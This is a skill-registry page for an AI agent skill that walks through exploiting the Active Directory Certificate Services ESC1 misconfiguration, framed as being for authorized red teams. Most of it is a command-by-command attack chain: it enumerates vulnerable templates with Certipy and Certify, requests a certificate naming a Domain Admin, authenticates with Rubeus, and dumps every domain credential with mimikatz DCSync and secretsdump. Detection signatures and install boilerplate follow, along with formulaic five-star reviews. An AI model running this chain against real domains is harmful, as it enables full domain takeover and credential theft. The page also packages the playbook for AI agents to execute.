exploiting-active-directory-certificate-services-esc1▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
| name | exploiting-active-directory-certificate-services-esc1 |
| description | Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - red-team - active-directory - ad-cs - esc1 - certificate-abuse - privilege-escalation - domain-escalation |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - File Metadata Consistency Validation - Certificate Analysis - Content Format Conversion - File Content Analysis - Platform Hardening |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Exploiting Active Directory Certificate Services ESC1
Overview
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
When to Use
- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report
MITRE ATT&CK Mapping
- T1649 - Steal or Forge Authentication Certificates
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1078.002 - Valid Accounts: Domain Accounts
- T1484 - Domain Policy Modification
- T1087.002 - Account Discovery: Domain Account
Workflow
Phase 1: AD CS Enumeration
- Enumerate Certificate Authority (CA) servers in the domain:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 - Enumerate all certificate templates and identify vulnerable ones:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - Verify ESC1 conditions on identified templates:
msPKI-Certificate-Name-FlagcontainsENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsagecontains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flagdoes not require manager approval- Low-privileged group (Domain Users, Authenticated Users) has Enroll rights
Phase 2: Certificate Request with Arbitrary SAN
- Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u [email protected] -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn [email protected] - The CA issues a certificate with the Domain Admin's UPN in the SAN field
- Save the output certificate in PFX/PEM format
Phase 3: Authentication with Forged Certificate
- Convert the certificate if needed (Certify outputs PEM, convert to PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Authenticate using PKINIT to obtain a TGT for the impersonated user:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 - The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)
Phase 4: Domain Privilege Escalation
- With the Domain Admin TGT, perform privileged operations:
# DCSync to dump all domain credentials mimikatz.exe "lsadump::dcsync /domain:domain.local /all" # Or using secretsdump.py with the obtained NT hash secretsdump.py domain.local/[email protected] -hashes :ntlmhash - Validate Domain Admin access:
# List domain controllers dir \\DC01.domain.local\C$ # Access Domain Admin shares dir \\DC01.domain.local\SYSVOL
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |
Vulnerable Template Indicators
| Condition | Vulnerable Value |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |
Validation Criteria
- AD CS Certificate Authority enumerated
- Vulnerable ESC1 templates identified with Certify or Certipy
- Certificate requested with Domain Admin SAN successfully
- PKINIT authentication performed with forged certificate
- Domain Admin TGT obtained
- Privileged access to domain controller validated
- Full attack chain documented with evidence
- Remediation recommendations provided (disable Supply in Request, require manager approval)
How to use exploiting-active-directory-certificate-services-esc1 on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add exploiting-active-directory-certificate-services-esc1
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches exploiting-active-directory-certificate-services-esc1 from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate exploiting-active-directory-certificate-services-esc1. Access the skill through slash commands (e.g., /exploiting-active-directory-certificate-services-esc1) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★31 reviews- ★★★★★Dhruvi Jain· Dec 28, 2024
exploiting-active-directory-certificate-services-esc1 reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Ren Abebe· Dec 20, 2024
exploiting-active-directory-certificate-services-esc1 reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Amelia Kapoor· Dec 16, 2024
We added exploiting-active-directory-certificate-services-esc1 from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Charlotte Kapoor· Dec 16, 2024
Solid pick for teams standardizing on skills: exploiting-active-directory-certificate-services-esc1 is focused, and the summary matches what you get after install.
- ★★★★★Hana Khanna· Nov 23, 2024
exploiting-active-directory-certificate-services-esc1 fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Oshnikdeep· Nov 19, 2024
I recommend exploiting-active-directory-certificate-services-esc1 for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Henry Robinson· Nov 11, 2024
I recommend exploiting-active-directory-certificate-services-esc1 for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Min Rahman· Nov 7, 2024
Keeps context tight: exploiting-active-directory-certificate-services-esc1 is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Min Zhang· Oct 26, 2024
exploiting-active-directory-certificate-services-esc1 is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Ganesh Mohane· Oct 10, 2024
Useful defaults in exploiting-active-directory-certificate-services-esc1 — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
showing 1-10 of 31